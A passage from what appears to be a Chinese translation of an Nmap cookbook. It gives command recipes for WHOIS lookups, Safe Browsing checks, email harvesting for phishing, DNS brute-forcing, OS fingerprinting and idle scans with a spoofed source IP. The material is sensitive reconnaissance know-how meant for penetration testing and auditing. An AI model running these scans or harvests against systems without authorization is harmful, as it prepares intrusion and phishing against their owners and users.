Read data files from: /usr/local/bin/../share/nmap
Nmap done: 3 IP addresses (3 hosts up) scanned in 1.96 seconds
Raw packets sent: 12 (456B) | Rcvd: 3 (84B)
禁用缓存及其影响
有时,缓存响应将优先于查询 WHOIS 服务,这可能会阻止发现 IP 地址分配。要禁用缓存,您可以将脚本参数whodb
设置为nocache
:
$ nmap -sn --script whois --script-args whois.whodb=nocache scanme.nmap.org
与每个免费服务一样,我们需要考虑我们需要进行的查询数量,以避免达到每日限制并被禁止。
另请参阅
-
定位 IP 地址配方
-
检查主机是否已知存在恶意活动食谱
-
暴力破解 DNS 记录食谱
-
收集有效的电子邮件帐户食谱
-
指纹识别主机的操作系统食谱
-
匹配已知安全漏洞的服务食谱
-
欺骗端口扫描的源 IP食谱
-
第八章中的使用 Zenmap 生成网络拓扑图食谱,生成扫描报告
检查主机是否已知存在恶意活动
经常托管用户的系统管理员经常在监视其服务器免受恶意软件分发方面遇到困难。Nmap 允许我们系统地检查主机是否已知分发恶意软件或在钓鱼攻击中使用,同时从Google 安全浏览API 获得帮助。
此食谱向系统管理员展示如何检查主机是否已被 Google 的安全浏览服务标记为用于钓鱼攻击或分发恶意软件。
准备工作
http-google-malware
脚本依赖于 Google 的安全浏览服务,并且需要您注册以获取 API 密钥。请在code.google.com/apis/safebrowsing/key_signup.html
注册。
如何做...
打开您喜欢的终端并键入:
$nmap -p80 --script http-google-malware --script-args http-google-malware.api=<API> <target>
该脚本将返回一条消息,指示服务器是否被 Google 的安全浏览标记为分发恶意软件或在钓鱼攻击中使用。
Nmap scan report for mertsssooopa.in (203.170.193.102)
Host is up (0.60s latency).
PORT STATE SERVICE
80/tcp open http
|_http-google-malware: Host is known for distributing malware.
工作原理...
http-google-malware
脚本查询 Google 安全浏览服务,以确定主机是否被怀疑为恶意。此服务被 Mozilla Firefox 和 Google Chrome 等 Web 浏览器用于保护其用户,并且列表更新非常频繁。
# nmap -p80 --script http-google-malware -v scanme.nmap.org
输出将如下所示:
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 12:28
Scanning scanme.nmap.org (74.207.244.221) [4 ports]
Completed Ping Scan at 12:28, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:28
Completed Parallel DNS resolution of 1 host. at 12:28, 0.19s elapsed
Initiating SYN Stealth Scan at 12:28
Scanning scanme.nmap.org (74.207.244.221) [1 port]
Discovered open port 80/tcp on 74.207.244.221
Completed SYN Stealth Scan at 12:29, 0.26s elapsed (1 total ports)
NSE: Script scanning 74.207.244.221.
Initiating NSE at 12:29
Completed NSE at 12:29, 0.77s elapsed
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.15s latency).
PORT STATE SERVICE
80/tcp open http
|_http-google-malware: Host is safe to browse.
还有更多...
如果您不想每次启动此脚本时都使用http-google-malware.api
参数,可以编辑http-google-malware.nse
文件,并将您的 API 密钥硬编码到脚本中。查找以下部分并将您的密钥存储在变量APIKEY
中:
---#########################
--ENTER YOUR API KEY HERE #
---#########################
local APIKEY = ""
---#########################
有关完整文档,请访问nmap.org/nsedoc/scripts/http-google-malware.html
。
另请参阅
-
对 IP 地址进行地理定位食谱
-
从 WHOIS 记录获取信息食谱
-
发现指向相同 IP 地址的主机名食谱
-
匹配已知安全漏洞的服务食谱
-
欺骗端口扫描的源 IP食谱
-
暴力破解 DNS 记录食谱
-
发现 UDP 服务食谱
-
第八章中的使用 Zenmap 生成网络拓扑图食谱,生成扫描报告
收集有效的电子邮件帐户
有效的电子邮件帐户对于渗透测试人员非常有用,因为它们可以用于利用钓鱼攻击中的信任关系,对邮件服务器进行暴力密码审计,并用作许多 IT 系统中的用户名。
此食谱说明了如何使用 Nmap 获取有效的公共电子邮件帐户列表。
准备工作
http-google-email
脚本未包含在 Nmap 的官方存储库中。因此,您需要从seclists.org/nmap-dev/2011/q3/att-401/http-google-email.nse
下载它并将其复制到本地脚本目录。复制http-google-email.nse
后,您应该使用以下命令更新脚本数据库:
#nmap --script-updatedb
如何做...
打开您喜欢的终端并键入:
$nmap -p80 --script http-google-email,http-email-harvest <target>
您应该看到类似以下输出:
Nmap scan report for insecure.org (74.207.254.18)
Host is up (0.099s latency).
rDNS record for 74.207.254.18: web.insecure.org
PORT STATE SERVICE
80/tcp open http
| http-google-email:
|_fyodor@insecure.org
| http-email-harvest:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=insecure.org
| root@fw.ginevra-ex.it
| root@198.285.22.10
| xi@x.7xdq
| ross.anderson@cl.cam.ac.uk
| rmh@debian.org
| sales@insecure.com
|_ fyodor@insecure.org
工作原理...
Nmap 脚本引擎允许渗透测试人员以两种方式收集电子邮件:
-
Shinook 的
http-google-email
脚本使用 Google Web 和 Google Groups 搜索来查找属于给定域的公共电子邮件帐户。 -
Pattrik Karlsson 的
http-email-harvest
会爬取给定的 Web 服务器并提取找到的所有电子邮件地址。
参数-p80 --script http-google-email,http-email-harvest
将端口扫描限制为端口 80,并启动先前提到的脚本,以尝试收集尽可能多的有效电子邮件帐户。
还有更多...
脚本http-email-harvest
依赖于httpspider
库,该库具有高度可定制性。例如,要允许蜘蛛爬行其他页面,请使用参数httpspider.maxpagecount
:
$nmap -p80 --script http-email-harvest --script-args httpspider.maxpagecount=50 <target>
要从与根文件夹不同的页面开始爬行,请使用参数httpspider.url
:
$nmap -p80 --script http-email-harvest --script-args httpspider.url=/welcome.php <target>
此库的官方文档可在nmap.org/nsedoc/lib/httpspider.html#script-args
找到。
对于http-google-email
,有一些值得知道的参数:
- 您可以通过使用脚本参数
domain
来指定要查找的域名.
$ nmap -p80 --script http-google-email --script-args domain=insecure.org scanme.nmap.org
- 通过增加脚本参数
pages
中的页面结果数量,您可能会获得额外的结果:
# nmap -p80 --script http-google-email --script-args pages=10 scanme.nmap.org
NSE 脚本参数
标志--script-args
用于设置 NSE 脚本的参数。例如,如果您想设置 HTTP 库参数useragent
,请使用以下命令:
nmap -sV --script http-title --script-args http.useragent="Mozilla 999" <target>
在设置 NSE 脚本的参数时,您还可以使用别名。使用:
$nmap -p80 --script http-trace --script-args path <target>
而不是:
$nmap -p80 --script http-trace --script-args http-trace.path <target>
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来设置不同的 HTTP UserAgent:
$nmap -p80 --script http-email-harvest --script-args http.useragent="Mozilla 42"
另请参阅
-
使用额外的随机数据隐藏我们的流量配方在第二章中,网络探索
-
定位 IP 地址配方
-
从 WHOIS 记录中获取信息配方
-
指纹识别主机操作系统配方
-
发现指向相同 IP 地址的主机名配方
-
检查主机是否已知存在恶意活动配方
-
暴力破解 DNS 记录配方
发现指向相同 IP 地址的主机名
Web 服务器根据 HTTP 请求中使用的主机名返回不同的内容。通过发现新的主机名,渗透测试人员可以访问以前使用服务器 IP 无法访问的新目标 Web 应用程序。
此配方显示了如何枚举指向相同 IP 的所有主机名,以发现新目标。
准备工作
脚本hostmap
依赖于外部服务,官方版本仅支持 BFK 的 DNS 记录器。根据我的经验,这项服务对流行的服务器效果很好,但对其他服务器效果不佳。因此,我创建了自己的hostmap.nse
版本,添加了一个新的服务提供商:ip2hosts.com.该服务使用必应的搜索 API,并经常返回 BFK 记录中没有的额外记录。
在secwiki.org/w/Nmap/External_Script_Library
下载带有 Bing 支持的hostmap.nse
。
将其复制到本地脚本目录后,通过运行以下命令更新您的脚本数据库:
#nmap --script-updatedb
操作方法...
打开终端,输入以下命令:
$nmap -p80 --script hostmap nmap.org
输出将类似于以下内容:
$nmap -p80 --script hostmap nmap.org
Nmap scan report for nmap.org (74.207.254.18)
Host is up (0.11s latency).
rDNS record for 74.207.254.18: web.insecure.org
PORT STATE SERVICE
80/tcp open http
Host script results:
| hostmap:
| sectools.org
| nmap.org
| insecure.org
| seclists.org
|_secwiki.org
它是如何工作的...
参数--script hostmap -p80
告诉 Nmap 启动 HTTP 脚本 hostmap,并限制端口扫描到端口 80 以加快此任务的速度。
这个版本的hostmap.nse
查询了两个不同的网络服务:BFK 的 DNS 记录器和ip2hosts.com。BFK 的 DNS 记录器是一个免费服务,它从公共 DNS 数据中收集信息,而ip2hosts.com是我维护的一个基于必应搜索 API 的网络服务。它基本上使用关键词“ip:<目标 ip>”启动必应搜索,以提取已知主机名列表。
这两项服务都是免费的,滥用它们很可能会导致您被该服务禁止使用。
还有更多...
您可以通过设置参数hostmap.provider
来指定服务提供商:
$nmap -p80 --script hostmap --script-args hostmap.provider=BING <target>
$nmap -p80 --script hostmap --script-args hostmap.provider=BFK <target>
$nmap -p80 --script hostmap --script-args hostmap.provider=ALL <target>
要保存每个扫描的 IP 的主机名列表,请使用参数hostmap.prefix
。设置此参数将在您的工作目录中创建一个文件,文件名为<prefix><target>
:
$nmap -p80 --script hostmap --script-args hostmap.prefix=HOSTSFILE <target>
另请参阅
-
第二章中的使用广播脚本收集网络信息配方,网络探索
-
定位 IP 地址配方
-
从 WHOIS 记录中获取信息配方
-
收集有效的电子邮件帐户配方
-
检查主机是否已知恶意活动配方
-
列出远程主机支持的协议配方
-
暴力破解 DNS 记录配方
暴力破解 DNS 记录
DNS 记录包含了大量的主机信息。通过暴力破解它们,我们可以揭示额外的目标。此外,DNS 条目通常会泄露信息,例如“mail”表明我们显然正在处理邮件服务器,或者 Cloudflare 的默认 DNS 条目“direct”,大多数情况下将指向他们试图保护的 IP。
此配方显示如何使用 Nmap 暴力破解 DNS 记录。
如何做...
打开终端并输入:
#nmap --script dns-brute <target>
如果成功,结果应包括找到的 DNS 记录列表:
# nmap --script dns-brute host.com
Nmap scan report for host.com (XXX.XXX.XXX.XXX)
Host is up (0.092s latency).
Other addresses for host.com (not scanned): YYY.YY.YYY.YY ZZ.ZZZ.ZZZ.ZZ
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Host script results:
| dns-brute:
| DNS Brute-force hostnames
| www.host.com – AAA.AA.AAA.AAA
| www.host.com – BB.BBB.BBB.BBB
| www.host.com – CCC.CCC.CCC.CC
| www.host.com – DDD.DDD.DDD.D
| mail.host.com – EEE.AA.EEE.AA
| ns1.host.com – AAA.EEE.AAA.EEE
| ns1.host.com – ZZZ.III.ZZZ.III
| ns2.host.com – ZZZ.III.XXX.XX
| direct.host.com – YYY.YY.YYY.YY
|_ ftp.host.com – ZZZ.ZZZ.ZZZ.ZZ
它是如何工作的...
参数--script dns-brute
启动 NSE 脚本dns-brute
。
dns-brute
由 Cirrus 开发,它试图通过暴力破解目标的 DNS 记录来发现新的主机名。该脚本基本上通过主机名列表进行迭代,检查 DNS 条目是否存在以找到有效记录。
这种暴力破解攻击很容易被安全机制检测到,因为它监视 NXDOMAIN 响应。
还有更多...
dns-brute
使用的默认字典是硬编码在本地脚本文件夹/scripts/dns-brute.nse
中的 NSE 文件中的。要使用自己的字典文件,请使用参数dns-brute.hostlist
:
$nmap --script dns-brute --script-args dns-brute.hostlist=words.txt <target>
要设置线程数,请使用参数dns-brute.threads
:
$nmap --script dns-brute --script-args dns-brute.threads=8 <target>
您可以使用--dns-servers <serv1[,serv2],...>
设置不同的 DNS 服务器:
$ nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org
目标库
参数--script-args=newtargets
强制 Nmap 使用找到的新主机作为目标:
#nmap --script dns-brute --script-args newtargets
输出将类似于以下内容:
$nmap -sP --script dns-brute --script-args newtargets host.com
Nmap scan report for host.com (<IP removed>)
Host is up (0.089s latency).
Other addresses for host.com (not scanned): <IP removed> <IP removed> <IP removed> <IP removed>
rDNS record for <IP removed>: <id>.cloudflare.com
Host script results:
| dns-brute:
| DNS Brute-force hostnames
| www.host.com - <IP removed>
| www.host.com - <IP removed>
| www.host.com - <IP removed>
| www.host.com - <IP removed>
| mail.host.com - <IP removed>
| ns1.host.com - <IP removed>
| ns1.host.com - <IP removed>
| ns2.host.com - <IP removed>
| ftp.host.com - <IP removed>
|_ direct.host.com - <IP removed>
Nmap scan report for mail.host.com (<IP removed>)
Host is up (0.17s latency).
Nmap scan report for ns1.host.com (<IP removed>)
Host is up (0.17s latency).
Other addresses for ns1.host.com (not scanned): <IP removed>
Nmap scan report for ns2.host.com (<IP removed>)
Host is up (0.17s latency).
Nmap scan report for direct.host.com (<IP removed>)
Host is up (0.17s latency).
Nmap done: 7 IP addresses (6 hosts up) scanned in 21.85 seconds
请注意,当我们启动扫描时只指定了一个目标,但newtargets
参数添加了新的 IP 到扫描队列中。
参数max-newtargets
设置允许添加到扫描队列的主机的最大数量:
#nmap --script dns-brute --script-args max-newtargets=3
另请参阅
-
远程主机的指纹服务配方在第一章中,Nmap 基础知识
-
定位 IP 地址配方
-
收集有效的电子邮件地址配方
-
从 WHOIS 记录中获取信息配方
-
发现指向相同 IP 地址的主机名配方
-
欺骗端口扫描的源 IP配方
-
发现 UDP 服务配方
指纹识别主机的操作系统
确定主机的操作系统对于每个渗透测试人员都是至关重要的,原因包括列出可能的安全漏洞,确定可用的系统调用以设置特定的利用负载,以及许多其他依赖于操作系统的任务。Nmap 以拥有最全面的 OS 指纹数据库和功能而闻名。
此配方显示如何使用 Nmap 对远程主机的操作系统进行指纹识别。
如何做...
打开终端并输入以下内容:
#nmap -O <target>
输出将类似于以下内容:
# nmap -O scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.12s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
646/tcp filtered ldp
9929/tcp open nping-echo
Device type: general purpose
Running (JUST GUESSING): Linux 2.6.X (87%)
OS CPE: cpe:/o:linux:kernel:2.6.38
Aggressive OS guesses: Linux 2.6.38 (87%), Linux 2.6.34 (87%), Linux 2.6.39 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 8 hops
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.69 seconds
它是如何工作的...
选项-O
告诉 Nmap 启用 OS 检测。由于其用户社区的贡献,Nmap 的 OS 检测非常强大,可以识别各种系统,包括家用路由器、IP 网络摄像头、操作系统和许多其他硬件设备。
Nmap 进行了几项测试,试图确定目标的操作系统。完整的文档可以在nmap.org/book/osdetect-methods.html
找到。
操作系统检测需要原始数据包,并且 Nmap 需要足够的权限来创建这些数据包。
还有更多...
Nmap 使用CPE(通用平台枚举)作为服务和操作系统检测的命名方案。这种约定在信息安全行业中用于识别软件包、平台和系统。
如果操作系统检测失败,您可以使用参数--osscan-guess
来尝试猜测操作系统:
#nmap -O -p- --osscan-guess <target>
要仅在扫描条件理想时启动操作系统检测,请使用参数--osscan-limit
:
#nmap -O --osscan-limit <target>
详细模式下的操作系统检测
尝试在详细模式下进行操作系统检测,以查看额外的主机信息,例如用于空闲扫描的 IP ID 序列号:
#nmap -O -v <target>
提交新的操作系统指纹
当您可以通过提交未知的操作系统或设备来为项目做出贡献时,Nmap 会通知您。
我鼓励您为这个项目做出贡献,因为 Nmap 的检测能力直接来自它的数据库。请访问insecure.org/cgi-bin/submit.cgi?new-os
提交新的指纹。
另请参阅
-
列出远程主机上的开放端口配方第一章,Nmap 基础知识
-
远程主机的指纹服务配方第一章,Nmap 基础知识
-
扫描 IPv6 地址配方第二章,网络探索
-
列出远程主机支持的协议配方
-
将已知安全漏洞的服务与匹配配方
-
欺骗端口扫描的源 IP配方
-
暴力破解 DNS 记录配方
-
使用 TCP ACK 扫描发现有状态防火墙配方
-
发现 UDP 服务配方
发现 UDP 服务
在渗透测试中通常会忽略 UDP 服务,但优秀的渗透测试人员知道它们经常会透露重要的主机信息,甚至可能会有漏洞并被用于入侵主机。
此配方展示了如何使用 Nmap 列出主机上所有开放的 UDP 端口。
如何做...
打开您的终端并键入:
#nmap -sU -p- <target>
输出遵循 Nmap 的标准格式:
# nmap -sU -F scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.100s latency).
Not shown: 98 closed ports
PORT STATE SERVICE
68/udp open|filtered dhcpc
123/udp open ntp
它是如何工作的...
参数-sU
告诉 Nmap 对目标主机进行UDP 扫描。Nmap 发送 UDP 探测到选定的端口,并分析响应以确定端口的状态。Nmap 的UDP 扫描技术工作方式如下:
-
除非在文件
nmap-payloads
中指定了 UDP 负载,否则将向目标发送一个空的 UDP 数据包。 -
如果端口关闭,则从目标接收到一个 ICMP 端口不可达的消息。
-
如果端口打开,则接收 UDP 数据。
-
如果端口根本没有响应,我们假设端口状态为
filtered|open
。
还有更多...
由于操作系统施加的传输速率限制了每秒响应的数量,UDP 扫描速度较慢。此外,防火墙主机阻止 ICMP 将丢弃端口不可达消息。这使得 Nmap 难以区分关闭和过滤的端口,并导致重传,使得此扫描技术变得更慢。如果您需要对 UDP 服务进行清点并且时间紧迫,那么事先考虑这一点非常重要。
端口选择
因为 UDP 扫描可能非常慢,建议您使用标志-p
进行端口选择:
#nmap -p1-500 -sU <target>
别名-F
也可以用于快速端口扫描:
#nmap -F -sU <target>
另请参阅
-
远程主机的指纹服务配方第一章,Nmap 基础知识
-
从 WHOIS 记录中获取信息配方
-
指纹识别主机的操作系统配方
-
发现指向相同 IP 地址的主机名配方
-
列出远程主机支持的协议配方
-
将已知安全漏洞的服务与匹配配方
-
欺骗端口扫描的源 IP配方
-
暴力破解 DNS 记录配方
列出远程主机支持的协议
IP 协议扫描对于确定主机正在使用哪些通信协议非常有用。这些信息有不同的用途,包括数据包过滤测试和远程操作系统指纹识别。
此配方显示了如何使用 Nmap 枚举主机支持的所有 IP 协议。
如何做...
打开终端并输入以下命令:
$nmap -sO <target>
结果将显示支持的协议以及它们的状态。
# nmap -sO 192.168.1.254
Nmap scan report for 192.168.1.254
Host is up (0.0021s latency).
Not shown: 253 open|filtered protocols
PROTOCOL STATE SERVICE
1 open icmp
6 open tcp
132 closed sctp
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
Nmap done: 1 IP address (1 host up) scanned in 3.67 seconds
工作原理...
标志-sO
告诉 Nmap 执行 IP 协议扫描。这种类型的扫描遍历文件nmap-protocols
中找到的协议,并为每个条目创建 IP 数据包。对于 TCP、ICMP、UDP、IGMP 和 SCTP 协议,Nmap 将设置有效的标头值,但对于其余的协议,将使用一个空的 IP 数据包。
要确定协议状态,Nmap 将接收到的不同响应分类如下:
-
如果收到 ICMP 协议不可达错误类型 3 代码 2,则将协议标记为关闭
-
ICMP 不可达错误类型 3 代码 1,3,9,10 或 13 表示协议被过滤
-
如果没有收到响应,则协议被标记为
filtered|open
-
任何其他响应都会导致协议被标记为打开
还有更多...
要指定应该扫描哪些协议,我们可以设置参数-p
:
$nmap -p1,3,5 -sO <target>
$nmap -p1-10 -sO <target>
自定义 IP 协议扫描
包含 IP 协议列表的文件名为nmap-protocols
,位于 Nmap 安装的根文件夹中。要添加新的 IP 协议,我们只需要将其条目添加到这个文件中:
#echo "hip 139 #Host Identity Protocol" >> /usr/local/share/nmap/nmap-protocols
另请参阅
-
指纹识别主机操作系统配方
-
发现指向相同 IP 地址的主机名配方
-
匹配已知安全漏洞的服务配方
-
欺骗端口扫描的源 IP配方
-
暴力破解 DNS 记录配方
-
使用 TCP ACK 发现有状态防火墙 扫描配方
-
发现 UDP 服务配方
通过使用 TCP ACK 扫描发现有状态防火墙
TCP ACK 扫描技术使用带有 ACK 标志的数据包来尝试确定端口是否被过滤。当检查保护主机的防火墙是有状态的还是无状态的时,这种技术非常方便。
此配方显示了如何使用 Nmap 执行 TCP ACK 端口扫描。
如何做...
打开您的终端并输入以下命令:
#nmap -sA <target>
输出遵循标准端口格式:
# nmap -sA 192.168.1.254
Nmap scan report for 192.168.1.254
Host is up (0.024s latency).
All 1000 scanned ports on 192.168.1.254 are unfiltered
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
工作原理...
参数-sA
告诉 Nmap 对目标主机执行TCP ACK 端口扫描。TCP ACK 端口扫描技术的工作方式如下:
-
带有 ACK 标志的数据包被发送到每个选定的端口。
-
如果端口是打开或关闭,目标机器会发送一个 RST 数据包。这个响应也表明目标主机没有在有状态的防火墙后面。
-
如果没有返回响应,或者返回 ICMP 错误消息,我们可以确定主机是否被防火墙保护。
还有更多...
重要的是要记住,这种技术不能区分开放和关闭的端口。它主要用于识别保护主机的数据包过滤系统。
这种扫描技术可以与 Nmap 选项--badsum
结合使用,以提高检测防火墙或 IPS 的概率。不能正确计算校验和的数据包过滤系统将返回 ICMP 目的地不可达错误,从而暴露出它们的存在。
可以使用标志-p
、-p[1-65535]
或-p-
来设置端口范围:
$nmap -sA -p80 <target>
$nmap -sA -p1-100 <target>
$nmap -sA -p- <target>
端口状态
Nmap 使用以下状态对端口进行分类:
-
打开
:表示应用程序正在监听该端口上的连接。 -
关闭
:表示已接收到探测包,但在该端口上没有应用程序在监听。 -
过滤
:表示未收到探测包,并且无法建立状态。它还表示探测包正在被某种过滤器丢弃。 -
未过滤
:表示已接收到探测包,但无法建立状态。 -
开放/过滤
:表示 Nmap 无法确定端口是被过滤还是开放的。 -
关闭/过滤
:表示 Nmap 无法确定端口是被过滤还是关闭的。
另请参阅
-
指纹识别主机操作系统食谱
-
发现指向同一 IP 地址的主机名食谱
-
检查主机是否已知存在恶意活动食谱
-
列出远程主机支持的协议食谱
-
匹配已知安全漏洞的服务食谱
-
欺骗端口扫描的源 IP食谱
-
暴力破解 DNS 记录食谱
-
发现 UDP 服务食谱
匹配已知安全漏洞的服务
版本发现对于渗透测试人员至关重要,因为他们可以利用这些信息来查找影响扫描服务的公共安全漏洞。Nmap 脚本引擎允许我们将流行的 OSVDB 漏洞数据库与我们扫描中发现的服务进行匹配。
这个食谱展示了如何列出osvdb
数据库中已知的安全漏洞,这些漏洞可能会影响使用 Nmap 发现的服务。
准备工作
为了完成这项任务,我们使用了 Marc Ruef 开发的 NSE 脚本vulscan
。这个脚本没有包含在官方的 Nmap 存储库中,所以在继续之前,你需要单独安装它。
要安装它,请从www.computec.ch/mruef/?s=software&l=e
下载最新版本的vulscan
。
提取文件后,将脚本vulscan.nse
复制到本地脚本文件夹($NMAP_INSTALLATION/scripts/
)中。然后在同一目录中创建一个名为vulscan
的文件夹,并将osvdb
数据库文件object_products.txt
、object_correlations.txt
、object_links.txt
和vulnerabilities.txt
放入其中。
要更新脚本数据库,请运行以下命令:
#nmap --script-updatedb
如何做...
打开终端并输入以下命令:
#nmap -sV --script vulscan <target>
脚本vulscan
将在发现每个服务后包含匹配的记录:
# nmap -sV --script vulscan.nse meil.0xdeadbeefcafe.com -PS80
Nmap scan report for meil.0xdeadbeefcafe.com (106.187.35.219)
Host is up (0.20s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp closed http
113/tcp closed ident
465/tcp open ssl/smtp Postfix smtpd
| vulscan: [1991] Postfix SMTP Log DoS
| [6551] Postfix Bounce Scan / Packet Amplification DDoS
| [10544] Postfix Malformed Envelope Address nqmgr DoS
| [10545] Postfix Multiple Mail Header SMTP listener DoS
| [13470] Postfix IPv6 Patch if_inet6 Failure Arbitrary Mail Relay
| [47658] Postfix Hardlink to Symlink Mailspool Arbitrary Content Append
| [47659] Postfix Cross-user Filename Local Mail Interception
| [48108] Postfix epoll File Descriptor Leak Local DoS
| [74515] Dovecot script-login chroot Configuration Setting Traversal Arbitrary File Access
它是如何工作的...
在上一个命令中,标志-sV
启用了服务检测,参数--script vulscan
启动了 NSE 脚本vulscan
。
网站osvdb.org是由 HD Moore 和 Forrest Rae 创建的开源漏洞数据库。脚本vulscan
解析每个服务名称和版本,并将其与osvdb.org上的vulnerability
数据库的本地副本进行比较。
这种方法远非完美,因为vulscan
的名称匹配仍然存在一些错误,并且我们也依赖于 Nmap 的版本检测。但是,它仍然非常有用,可以找到可能影响扫描服务的公共漏洞。
还有更多...
要更新本地的osvdb
数据库副本,请访问osvdb.org,获取最新的 CSV 导出文件,并替换/scripts/vulscan/
中的文件。
另请参阅
-
指纹识别主机操作系统食谱
-
收集有效的电子邮件账户食谱
-
发现指向同一 IP 地址的主机名食谱
-
列出远程主机支持的协议食谱
-
欺骗端口扫描的源 IP食谱
-
暴力破解 DNS 记录食谱
-
发现 UDP 服务食谱
欺骗端口扫描的源 IP
空闲扫描是一种非常强大的技术,Nmap 利用一个具有可预测 IP ID 序列号的空闲主机来伪造端口扫描的源 IP。
这个食谱说明了如何找到僵尸主机,并在使用 Nmap 扫描远程主机时使用它们来伪造你的 IP 地址。
准备工作
要启动空闲扫描,我们需要一个僵尸主机。僵尸主机是具有可预测的 IP ID 序列号的机器,将用作伪造的 IP 地址。一个好的候选主机不应该与其他主机通信,以保持正确的 IP ID 序列号并避免误报。
要查找具有增量 IP ID 序列的主机,可以使用以下脚本ipidseq
:
#nmap -p80 --script ipidseq <your ip>/24
#nmap -p80 --script ipidseq -iR 1000
可能的候选者将在脚本的输出部分返回文本“增量”:
Host is up (0.28s latency).
PORT STATE SERVICE
80/tcp open http
Host script results:
|_ipidseq: Incremental!
操作方法...
要启动空闲扫描,打开终端并输入以下命令:
#nmap -Pn -sI <zombie host> <target>
输出将类似于以下内容:
Idle scan using zombie 93.88.107.55 (93.88.107.55:80); Class: Incremental
Nmap scan report for meil.0xdeadbeefcafe.com (106.187.35.219)
Host is up (0.67s latency).
Not shown: 98 closed|filtered ports
PORT STATE SERVICE
465/tcp open smtps
993/tcp open imaps
如果僵尸主机符合先前讨论的要求,空闲扫描应该可以工作。如果某些情况不如预期,返回的错误消息应该让你知道出了什么问题:
Idle scan zombie XXX.XXX.XX.XX (XXX.XXX.XX.XX) port 80 cannot be used because it has not returned any of our probes -- perhaps it is down or firewalled.
QUITTING!
Idle scan zombie 0xdeadbeefcafe.com (50.116.1.121) port 80 cannot be used because IP ID sequencability class is: All zeros. Try another proxy.
QUITTING!
工作原理...
空闲扫描最初是由 Salvatore Sanfilipo(hping
的作者)在 1998 年发现的。这是一种巧妙而非常隐秘的扫描技术,其中源 IP 被伪造,通过伪造数据包和分析空闲主机(通常称为僵尸主机)的 IP ID 序列号来实现。
标志-sI <zombie>
用于告诉 Nmap 使用<zombie>
作为源 IP 发起空闲端口扫描。空闲扫描的工作方式如下:
-
Nmap 确定僵尸主机的 IP ID 序列。
-
Nmap 向目标发送伪造的 SYN 数据包,就好像它是由僵尸主机发送的一样。
-
如果端口是打开的,目标会向僵尸主机发送一个 SYN/ACK 数据包,并增加其 IP ID 序列号。
-
Nmap 分析僵尸的 IP ID 序列号的增量,以确定是否从目标接收到 SYN/ACK 数据包,并确定端口状态。
还有更多...
与僵尸主机通信的其他主机会增加其 IP ID 序列号,导致扫描中出现误报。因此,这种技术只有在僵尸主机处于空闲状态时才有效。因此,正确选择非常重要。
还很重要的是,你要找出你的 ISP 是否在主动过滤伪造的数据包。许多 ISP 今天会阻止甚至修改伪造的数据包,用你的真实 IP 地址替换伪造的地址,使得这种技术对目标来说毫无用处。不幸的是,Nmap 无法检测到这种情况,这可能会导致你认为你在扫描一个没有留下任何痕迹的主机,而实际上你的所有数据包都发送了你的真实 IP 地址。
IP ID 序列号
IP 头中的 ID 字段主要用于跟踪数据包以便重新组装,但由于许多系统以不同的方式实现了这个数字,因此安全爱好者已经使用它来对这些系统进行指纹识别、分析和收集信息。
家用路由器、打印机、IP 网络摄像头和原始设备通常使用增量 IP ID 序列号,并且非常适合用作僵尸主机。它们通常大部分时间处于空闲状态,这是空闲扫描的一个重要要求。要找出主机是否具有增量 IP ID 序列,有两种选择:
- 使用 OS 检测的详细模式。
#nmap -sV -v -O <target>
- 使用 Kriss Katterjon 的
ipidseq
NSE 脚本。
$nmap -p80 --script ipidseq <target>
另请参阅
-
指纹识别主机的操作系统的方法
-
发现指向相同 IP 地址的主机名的方法
-
检查主机是否因恶意活动而闻名的方法
-
列出远程主机支持的协议的方法
-
与已知安全漏洞的服务进行匹配的方法
-
暴力破解 DNS 记录的方法
-
使用 TCP ACK 扫描发现有状态防火墙的方法
第四章:审核 Web 服务器
注意
本章向您展示了如何做一些在许多情况下可能是非法、不道德、违反服务条款或不明智的事情。它在这里提供是为了给您提供可能有用的信息,以保护自己免受威胁,并使自己的系统更安全。在遵循这些说明之前,请确保您站在法律和道德的一边...善用您的力量!
在本章中,我们将涵盖:
-
列出支持的 HTTP 方法
-
检查 HTTP 代理是否开放
-
在各种 Web 服务器上发现有趣的文件和目录
-
暴力破解 HTTP 身份验证
-
滥用 mod_userdir 列举用户帐户
-
测试 Web 应用程序中的默认凭据
-
暴力破解 WordPress 安装的密码审核
-
暴力破解 Joomla!安装的密码审核
-
检测 Web 应用程序防火墙
-
检测可能的 XST 漏洞
-
检测 Web 应用程序中的跨站脚本漏洞
-
在 Web 应用程序中查找 SQL 注入漏洞
-
检测易受 slowloris 拒绝服务攻击的 Web 服务器
介绍
超文本传输协议(HTTP)可以说是当今最流行的协议之一。Web 服务器已经从提供静态页面转变为处理具有实际用户交互的复杂 Web 应用程序。这打开了一个门,使得可能存在有害用户输入,可能改变应用程序的逻辑以执行意外操作。现代 Web 开发框架允许几乎任何具有编程知识的人在几分钟内制作 Web 应用程序,但这也导致了互联网上易受攻击应用程序的增加。Nmap 脚本引擎的可用 HTTP 脚本数量迅速增长,Nmap 变成了一款宝贵的 Web 扫描器,帮助渗透测试人员以自动化方式执行许多繁琐的手动检查。它不仅可以用于查找易受攻击的 Web 应用程序或检测错误的配置设置,而且由于新的蜘蛛库,Nmap 甚至可以爬行 Web 服务器,寻找各种有趣的信息。
